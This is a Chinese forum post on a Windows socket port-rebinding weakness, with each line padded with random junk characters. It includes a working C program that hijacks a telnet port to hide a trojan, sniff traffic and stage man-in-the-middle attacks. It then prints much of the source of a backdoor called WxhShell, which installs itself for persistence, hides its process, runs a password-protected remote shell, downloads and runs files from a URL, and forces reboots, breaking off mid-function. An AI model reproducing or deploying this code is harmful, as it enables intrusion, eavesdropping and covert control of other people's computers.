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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Rf^P(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nAvs~J  
,A?{~?u.  
  saddr.sin_family = AF_INET; @x*.5:[  
EFD?di)s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _ }^u-fJ/~  
d96fjj~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $-e=tWkgv  
~9bv Wd1D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2=O ))^8  
{F/q{c~]  
  这意味着什么?意味着可以进行如下的攻击: E;$$+rA  
]y}Zi/zh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :k\} I k  
<oQ6ZX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !x6IV25  
Wy!uRzbBv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 03C .Xh=!  
Z"]xdOre  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c{ 7<H  
!;jgzi?z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vv!Bo~L1,  
8ZFH}v@V1'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ePi Z  
_=6vW^ s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Agz=8=S%  
IE|, ~M2  
  #include fmBkB8  
  #include 9V.+U7\w  
  #include /K[]B]1NE  
  #include    ^SgN(-QH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |Cu1uwy  
  int main() !*9FKDB{  
  { y&h~Oa?,;  
  WORD wVersionRequested; ~PCTLP~zI  
  DWORD ret; k,A M]H  
  WSADATA wsaData; F~%|3a$Y  
  BOOL val; ML"_CQlE7  
  SOCKADDR_IN saddr; waBRQh  
  SOCKADDR_IN scaddr; @\+%GDv  
  int err; ";o~&8?)  
  SOCKET s; }tu4z+T2  
  SOCKET sc; t Z+0}d  
  int caddsize; mqubXS;J|P  
  HANDLE mt; R&gWqt/  
  DWORD tid;    ]LMiMj  
  wVersionRequested = MAKEWORD( 2, 2 ); i:;$oT  
  err = WSAStartup( wVersionRequested, &wsaData ); 1T:)Zv'  
  if ( err != 0 ) { DhHtz.6  
  printf("error!WSAStartup failed!\n"); 4^0\dq  
  return -1; xiEcEz'lk  
  } y)IGTW o  
  saddr.sin_family = AF_INET; &&ja|o-  
   f]hBPkZ6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5VuC U  
B5 D3_ iX]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9#Z zE/  
  saddr.sin_port = htons(23); :J<Owh@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8 qn{  
  { g~eJ YS,  
  printf("error!socket failed!\n"); %s]U@Ku(a  
  return -1; dP?nP(l  
  } * q+oeAYX  
  val = TRUE; Ct-rD79l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N!]PIWnC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,nI_8r"M>  
  { \A` gK\/h  
  printf("error!setsockopt failed!\n"); :{x!g6bK@  
  return -1; kBQ5]Q"  
  } C+DG+_%V*S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dvC0 <*V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2-QuT"Gkd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {_rZRyr  
'W}~)+zK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g9M')8a n  
  {  b$PT_!d  
  ret=GetLastError(); C3]\$  
  printf("error!bind failed!\n"); }klE0<W|5\  
  return -1; N`J:^,H  
  } L00Sp#$\  
  listen(s,2); 2*N&q|ED  
  while(1) ys:1Z\$P  
  { 4F}g(  
  caddsize = sizeof(scaddr); -/@|2!d  
  //接受连接请求 MX"A@p~H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cb\jrbj6  
  if(sc!=INVALID_SOCKET) ^- u[q- !  
  { 5`(((_Um+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U f=vs(  
  if(mt==NULL) 3| GNi~  
  { ,w,ENU0~f  
  printf("Thread Creat Failed!\n"); ^qE<yn  
  break; ' #;,oX~5  
  } [Od>NO,n+]  
  } vx({N?  
  CloseHandle(mt); d4b 9rtM  
  } #9URVq,  
  closesocket(s); v(i1Z}*b  
  WSACleanup(); MtMvpHk  
  return 0; xC= y^- 1  
  }   3L'en  
  DWORD WINAPI ClientThread(LPVOID lpParam) >lUBt5gU  
  { n$XMsl.>  
  SOCKET ss = (SOCKET)lpParam; 1EKcD^U,  
  SOCKET sc; aeN }hG  
  unsigned char buf[4096]; yBpW#1=  
  SOCKADDR_IN saddr; 9O(i+fM  
  long num; g(ZeFOn  
  DWORD val; jydp4ek_n  
  DWORD ret; T*7S;<2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "`gfy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )$2%&9b  
  saddr.sin_family = AF_INET; ]#vvlM>/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :DS2zA  
  saddr.sin_port = htons(23); R[mH35D/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }CB=c]p  
  { MAm1w'ol"  
  printf("error!socket failed!\n"); oO!1  
  return -1; (mD-FR@#  
  } /\IAr,w[  
  val = 100; x!Z:K5%O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F{a0X0ru~  
  { S!`4Bl  
  ret = GetLastError(); @d8&3@{R^  
  return -1; :F!dTD$  
  } EM>c%BH<N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f;@ b a[  
  { u|_I Twk  
  ret = GetLastError(); rCnV5Yb0O  
  return -1; d/ 'A\"o+  
  } D=5t=4^H(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Va#{Y;Zy  
  { n?<# {$  
  printf("error!socket connect failed!\n"); .N2nJ/   
  closesocket(sc); ZuF4N=;  
  closesocket(ss); ECmHy@(  
  return -1; $71D)*{P  
  } 4)x3!Ol  
  while(1) oo$WD6eCR  
  { ihpz}g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z~-T0Ab-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f)u*Q!BDD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %x cM_|AyR  
  num = recv(ss,buf,4096,0); zm;*:]S  
  if(num>0) s +y'<88  
  send(sc,buf,num,0); (Fbm9(q$d  
  else if(num==0) } K+Q9<~u  
  break; hJ$C%1;  
  num = recv(sc,buf,4096,0); jm#F*F vL  
  if(num>0) Q G=-LXv:@  
  send(ss,buf,num,0); ,q'gG`M N  
  else if(num==0) eMpEFY  
  break; g%fJyk'  
  }  *pS7/ Qe  
  closesocket(ss); q N[\J7Pz9  
  closesocket(sc); zd6Qw-D7x  
  return 0 ; "tg\yem  
  } Nj3^"}V  
s)o ,Fi  
k#IS ,NKE  
========================================================== ZF/J/;uI  
WIH4Aw  
下边附上一个代码,,WXhSHELL fY,@2VxyfA  
OI]K_ m3  
========================================================== LS2ek*FJO  
@ ^XkU(m  
#include "stdafx.h" R&x7Iq:=D  
*`S)@'@:(  
#include <stdio.h> 4}r\E,`*X  
#include <string.h> AK*mcTr  
#include <windows.h> j]ln :?\  
#include <winsock2.h> (to/9OrG  
#include <winsvc.h> vP87{J*DE1  
#include <urlmon.h> 0^)8*O9$  
E{+c*sz  
#pragma comment (lib, "Ws2_32.lib") 98b9%Z'2f  
#pragma comment (lib, "urlmon.lib") Z+`{JE#  
5b{yA~ty  
#define MAX_USER   100 // 最大客户端连接数 >2/wzsW  
#define BUF_SOCK   200 // sock buffer QBPvGnb  
#define KEY_BUFF   255 // 输入 buffer ^ T:qT*v  
%x'bo>h@  
#define REBOOT     0   // 重启 ;I`,ZKY  
#define SHUTDOWN   1   // 关机 |Ad6~E+aL-  
gv Rc:5B[  
#define DEF_PORT   5000 // 监听端口 QU,TAO  
&)"7am(S`  
#define REG_LEN     16   // 注册表键长度 _]?Dt%MkD  
#define SVC_LEN     80   // NT服务名长度 ]` &[Se d  
D"( 3VIglq  
// 从dll定义API TW-zh~|F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J?n)FgxS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [-:<z?(n4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &\6`[# bT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i Ks,i9j  
3>@qQ_8%~  
// wxhshell配置信息 _?(hWC"0  
struct WSCFG { }Nd`;d  
  int ws_port;         // 监听端口 Q 2SSJ  
  char ws_passstr[REG_LEN]; // 口令 n[MIa]dK  
  int ws_autoins;       // 安装标记, 1=yes 0=no jN'fm  
  char ws_regname[REG_LEN]; // 注册表键名 VATXsD  
  char ws_svcname[REG_LEN]; // 服务名 ^b|Nw:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Zb"T5E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $E9daUt8"J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ad3z]dUZ9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q$u\ q.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" beHCEwh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G(|(y=ck  
Ek B6- nz  
}; xn x1`|1u  
]\9B?W(#  
// default Wxhshell configuration OL ]T+6X  
struct WSCFG wscfg={DEF_PORT, )zL"r8si  
    "xuhuanlingzhe", XB!`*vZ/<  
    1, }r<@o3t  
    "Wxhshell", \Q?|gfJH  
    "Wxhshell", M\.T 0M_  
            "WxhShell Service", [nPzh Xs  
    "Wrsky Windows CmdShell Service", FOUs= E[  
    "Please Input Your Password: ", <*(UvOQuX  
  1, /YugQ.>| l  
  "http://www.wrsky.com/wxhshell.exe", M-qxD"VtV=  
  "Wxhshell.exe" :'=~/GR  
    }; Dxa)7dA|  
T.m)c%]^/  
// 消息定义模块 I ;11j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L ugk`NUvF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eztz ~oFo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v YmtpKNj%  
char *msg_ws_ext="\n\rExit."; a a Y Q<  
char *msg_ws_end="\n\rQuit."; 8yo6v3JqC  
char *msg_ws_boot="\n\rReboot..."; +q_lYGTiO  
char *msg_ws_poff="\n\rShutdown..."; A@  
char *msg_ws_down="\n\rSave to "; |<Dx  
Ag-?6v  
char *msg_ws_err="\n\rErr!"; cmGj0YUQ1  
char *msg_ws_ok="\n\rOK!"; 4-nr_ WCm4  
%_@5_S  
char ExeFile[MAX_PATH]; DneSzqO"o  
int nUser = 0; bmq XP  
HANDLE handles[MAX_USER]; 5t5S{aCDr  
int OsIsNt; v`ZusHJ1d  
uI-7 6  
SERVICE_STATUS       serviceStatus; @01D1A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?D^,K`wY=B  
Xx<&6 4W  
// 函数声明 RnBmy^l"  
int Install(void); Sp$x%p0  
int Uninstall(void); /%q9hI   
int DownloadFile(char *sURL, SOCKET wsh); Nj@?}`C 4  
int Boot(int flag); $8T|r+<  
void HideProc(void); r dG2| Tp  
int GetOsVer(void); <iprPk  
int Wxhshell(SOCKET wsl); D15u1A  
void TalkWithClient(void *cs); _d=&9d#=\  
int CmdShell(SOCKET sock); ://# %SE  
int StartFromService(void); ]E8<;t)#  
int StartWxhshell(LPSTR lpCmdLine); 6RT0\^X*:  
>\oJ&gdc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I&NpN~AU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !%\To(r[  
rs<&x(=Hv  
// 数据结构和表定义 \gzwsT2&  
SERVICE_TABLE_ENTRY DispatchTable[] = Rd1ku=  
{ hy&Hl  
{wscfg.ws_svcname, NTServiceMain}, z9kX`M+  
{NULL, NULL} <%#y^_  
}; q~dg   
@G$<6CG\  
// 自我安装 3;l>x/amk  
int Install(void) #M9D" <pn}  
{ ?kFCYZK|"  
  char svExeFile[MAX_PATH]; *=If1qZs  
  HKEY key; s riq(A  
  strcpy(svExeFile,ExeFile); nh&<fnh  
>dm._*M  
// 如果是win9x系统,修改注册表设为自启动 '%RK KA  
if(!OsIsNt) { <VxpMF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1o8"==n%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]%Yis=v  
  RegCloseKey(key); k42ur)pb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sv6U%qV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DMxS-hl  
  RegCloseKey(key);  t-x"(  
  return 0; Oi[9b  
    } irw 7  
  } <^q"31f  
} =ObtD"  
else { [ EID27P  
<W%Z_d&Xv  
// 如果是NT以上系统,安装为系统服务 xv%USm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )W6- h  
if (schSCManager!=0) 3XlnI:w =  
{ MMr7,?,$  
  SC_HANDLE schService = CreateService hYv 6-5_  
  ( <J }9.k  
  schSCManager, |QTqa~~B  
  wscfg.ws_svcname, 8EEQV}4  
  wscfg.ws_svcdisp, z*~ PYAt  
  SERVICE_ALL_ACCESS, v4##(~Tu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n_&)VF#n(  
  SERVICE_AUTO_START, %s :  
  SERVICE_ERROR_NORMAL, H_=[~mJ  
  svExeFile, NEou2y+}  
  NULL, qVe6RpS  
  NULL, 4NR5?s  
  NULL, Lz{T8yvZ  
  NULL, 2&K|~~  
  NULL Wk6&TrWlY  
  ); k8wi-z[dV  
  if (schService!=0) W (c\$2`  
  { kDP^[V P+  
  CloseServiceHandle(schService); 5{/Pn%5  
  CloseServiceHandle(schSCManager); e27CbA{_w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3v>,c>b([  
  strcat(svExeFile,wscfg.ws_svcname); _7"W\gn:9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RkP|_Bf8)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~(L+4]  
  RegCloseKey(key); [K@!JY  
  return 0; L=w Fo^N  
    } G/3lX^Z>  
  } =}GyI_br;8  
  CloseServiceHandle(schSCManager); H1qw1[%0y  
} C{,] 1X6g  
} zYF&Dv/u/  
)0d".Q|v4  
return 1; bK;a V&  
} IeI% X\G  
NWwtq&pz2  
// 自我卸载 |Pl{Oo+  
int Uninstall(void) [Q_| 6Di  
{ Ul0<Zxv  
  HKEY key; UZ3Aq12U}a  
\bA'Furp  
if(!OsIsNt) { d]~1.i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $<e .]`R  
  RegDeleteValue(key,wscfg.ws_regname); %vYlu%c<  
  RegCloseKey(key); Eq;frnw>q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "(&`muIc  
  RegDeleteValue(key,wscfg.ws_regname); (Ha}xwA~(  
  RegCloseKey(key); c!wB'~MS#  
  return 0; ! e,(Zz5  
  } s:F+bG}|  
} WvzvGT=  
} 5d{Ggg{s  
else { pcTXTy 28  
k#NMD4(%O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cD@lor j  
if (schSCManager!=0) pdqa)>$  
{ aMg f6veM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IMrOPwjc  
  if (schService!=0) [y;ZbfMP|o  
  { (MiOrzT  
  if(DeleteService(schService)!=0) { }(}vlL  
  CloseServiceHandle(schService); s\FNKWQ  
  CloseServiceHandle(schSCManager); A?KKZ{Pl  
  return 0; ,k' 6<Hw  
  } i1@gHk  
  CloseServiceHandle(schService); ibUPd."W  
  } v$/i5kcWx  
  CloseServiceHandle(schSCManager); B_jI!i{N%o  
} }C`0" 1  
} 8&hn$~ate  
Dohe(\C@  
return 1; W%Q>< 'c  
} >Nl~"J|]q  
>M85xjXP  
// 从指定url下载文件 [z@RgDX v  
int DownloadFile(char *sURL, SOCKET wsh) .h^Ld,Chj  
{ I19F\ L`4  
  HRESULT hr; 2czL 1Ci  
char seps[]= "/"; K :ptfD  
char *token; Bin&:%|9?  
char *file; >.~k?_Of  
char myURL[MAX_PATH]; 5{aQ4H>~tx  
char myFILE[MAX_PATH]; 4GA-dtyV&  
)?y"NVc*  
strcpy(myURL,sURL); 8Kkr1}!wd  
  token=strtok(myURL,seps); D ,^ U%<`  
  while(token!=NULL) t1s@Ub5);I  
  { %t.IxMY  
    file=token; G)|HFcE  
  token=strtok(NULL,seps); jF85bb$  
  } 5z]KkPQ  
|noTIAI  
GetCurrentDirectory(MAX_PATH,myFILE); $:Z xb  
strcat(myFILE, "\\"); lfd{O7L0b  
strcat(myFILE, file); Ap18qp  
  send(wsh,myFILE,strlen(myFILE),0); [/j-d  
send(wsh,"...",3,0); UpBYL?+L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RVy87_J1  
  if(hr==S_OK) >&Lu0oHH  
return 0; iPNs EQ0We  
else gipRVd*TA  
return 1; SYLkC [0 k  
w*@Z-'(j  
} Z9bPj8d  
sJ()ItU5i  
// 系统电源模块 ~3]8f0^%m  
int Boot(int flag) [T|1Qq7  
{ )d Dmq  
  HANDLE hToken; (:]iHg3  
  TOKEN_PRIVILEGES tkp; WT N!2b  
,W;8!n0  
  if(OsIsNt) { WLFzLW=PD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >g=:01z9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P ^+>QJ1  
    tkp.PrivilegeCount = 1; KO$8lMm$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @cNI|T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #]^`BQ>  
if(flag==REBOOT) { ueo3i1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "+Rm4_  
  return 0; WG4|Jf Y  
} &_gmQ;%t:  
else { l%/,Ef*3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $"1&!  
  return 0; U?yXTMD  
} `?m(Z6'  
  } ` XY[ HK  
  else { THZ3%o=X  
if(flag==REBOOT) { +O6@)?pI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BtZm_SeA  
  return 0; "<b84?V5  
} Vdyx74xX  
else { H-lRgJdc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \/zS@fz  
  return 0; B)*%d7=x  
} NYRNop( N#  
} UkQocZdZ  
1-<Xi-=^{t  
return 1; cH ?]uu(  
} )~kb 7rfl  
qIp`'.#m  
// win9x进程隐藏模块  $nWmoe)  
void HideProc(void) Yb*}2  
{ Xu0*sQK  
#y%Ao\~kG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =B2=UF  
  if ( hKernel != NULL ) vS<e/e+  
  { 2YQ$hL~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ E6uA}s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H& +s&F{%  
    FreeLibrary(hKernel); \ 02e zG  
  } euK!JZ  
.quc i(D  
return; ['j,S<Bu~  
} oQO3:2a  
\GP c_m:qL  
// 获取操作系统版本 A+&Va\|x  
int GetOsVer(void) |R;=P(0it  
{ D1 z3E;:  
  OSVERSIONINFO winfo; un=)k;oh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o,I642R~  
  GetVersionEx(&winfo); L}+!<Ug  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j>zVC;Sj*  
  return 1; S/aPYrk>6  
  else l.! ~t1i  
  return 0; Oylw,*%  
} 2(|V1]6D?  
I+SL0  
// 客户端句柄模块 ;2}Gqh)Yr  
int Wxhshell(SOCKET wsl) iV=#'yY  
{ L3\{{QOA  
  SOCKET wsh; n\4+xZr  
  struct sockaddr_in client; -TWo-iu^  
  DWORD myID; .>e~J+oL  
suwj1qYJ4  
  while(nUser<MAX_USER) 7[\B{N9&W  
{ `{":*V   
  int nSize=sizeof(client); ufOaD7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <j' #mUzd  
  if(wsh==INVALID_SOCKET) return 1; xPv&(XZR  
nq;)!Wry  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U_?RN)>j  
if(handles[nUser]==0) b04~z&Xv  
  closesocket(wsh); B~IOM  
else wv$=0zF  
  nUser++; E}u\{uY  
  } B#}RMFIj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `JCC-\9T_  
-XBNtM_ "  
  return 0; t30V_`eQ  
} ?{'Q}%  
CpXv?uU   
// 关闭 socket mB\|<2  
void CloseIt(SOCKET wsh) U?>cm`DBP  
{ qeYr=%)c  
closesocket(wsh); 1/HZY0em  
nUser--; vL7}0n>tz  
ExitThread(0); f!yxS?j3  
} !p2&$s"N.  
n 8Fi?/  
// 客户端请求句柄 Jor?;qo3  
void TalkWithClient(void *cs) STMcMm3  
{ A`KTm(  
h) rHf3:  
  SOCKET wsh=(SOCKET)cs; /T@lHxX  
  char pwd[SVC_LEN]; d=pq+  
  char cmd[KEY_BUFF]; In r%4&!e  
char chr[1]; &'R]oeag  
int i,j; K67x.PZ  
Onl:eG;@  
  while (nUser < MAX_USER) { mP-+];gg  
Xo,BuK&G  
if(wscfg.ws_passstr) { -mXEbsm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  2r[,w]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UkUdpZ.[il  
  //ZeroMemory(pwd,KEY_BUFF); C`ok{SNtUy  
      i=0; %<klz)!t  
  while(i<SVC_LEN) { 9Y(<W_{/  
lk}x;4]Z  
  // 设置超时 CH2o[&  
  fd_set FdRead; Msf yI B  
  struct timeval TimeOut; z y.Ok 49  
  FD_ZERO(&FdRead); :V [vE h  
  FD_SET(wsh,&FdRead); X qh+  
  TimeOut.tv_sec=8; _LK(j;6K}  
  TimeOut.tv_usec=0; C5m*pGImG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G100L}d"N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h*Ej}_  
SWu=n1J.?H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 84k;d;  
  pwd=chr[0]; Y9C]-zEv  
  if(chr[0]==0xd || chr[0]==0xa) { zr,jaR;  
  pwd=0; Cpr}*A   
  break; p|Ln;aYc  
  } Wrlmo'31  
  i++; 3wK)vW  
    } i9\Pks#l%  
e2;"> tp6?  
  // 如果是非法用户,关闭 socket (\G~S 4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _K8-O>I "  
} 3 . @W.GG8  
A;kB"Tx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I|:*Dy,~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <J- aq;p  
9QpKB c  
while(1) { #2}S83 k  
:ZUy(8%Wl  
  ZeroMemory(cmd,KEY_BUFF); /];F4AO5  
)2a!EEHz  
      // 自动支持客户端 telnet标准   7BC9cS(0w9  
  j=0; Jyd%!v  
  while(j<KEY_BUFF) { \"5\hX~dS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yz,*Q<t  
  cmd[j]=chr[0]; *yB!^O  
  if(chr[0]==0xa || chr[0]==0xd) { A2B&X}K|U  
  cmd[j]=0; 8!1o,=I$  
  break; % R'eV<  
  } 3vy5JTCz~  
  j++; %j=7e@   
    } _onHe"%{  
ALFw[1X  
  // 下载文件 <#c2Hg%jh  
  if(strstr(cmd,"http://")) { 0^;{b^!(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fUa`Y ryQ  
  if(DownloadFile(cmd,wsh)) ohwQ%NDl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^r*qi"  
  else zFOX%q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?&?y-&.5-  
  } ]^s4NXf+  
  else { p 0-\G6  
 X'0A"9  
    switch(cmd[0]) { >~6 ;9{@  
  <{'':/tXI  
  // 帮助 BYu|loc  
  case '?': { e Q0bx&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BKN]DxJ6  
    break; %bddR;c  
  } &vLZj  
  // 安装 Jg7IGU(dct  
  case 'i': { 7m1*Q@D  
    if(Install()) m'%F,c)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;R/=9l  
    else nuvz!<5\{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z#9{1sHEP  
    break; ]E`DG  
    } D@mDhhK_  
  // 卸载 Am- JB  
  case 'r': { 8,%y`tUn>u  
    if(Uninstall()) z2-=fIr.h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ak<?Eu9rV  
    else @mW0EJ8bb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Wkf)4!  
    break; !]W6i]p  
    } 55hJRm3  
  // 显示 wxhshell 所在路径 [j&>dE  
  case 'p': { %uQ^mK  
    char svExeFile[MAX_PATH]; #B54p@.}  
    strcpy(svExeFile,"\n\r"); 7pkc*@t  
      strcat(svExeFile,ExeFile); _))_mxV{  
        send(wsh,svExeFile,strlen(svExeFile),0); n}a# b%e  
    break; (xq25;|Y  
    } e=YvM g  
  // 重启 N-lXC"{)  
  case 'b': { 8^+Q n/b_%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {<&x9<f9  
    if(Boot(REBOOT)) T?Gi;ld7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U%2pbGU  
    else { ^M8\ 3G  
    closesocket(wsh); Jzh_`jW0l  
    ExitThread(0); 89~)nV)  
    } ?9/%K45  
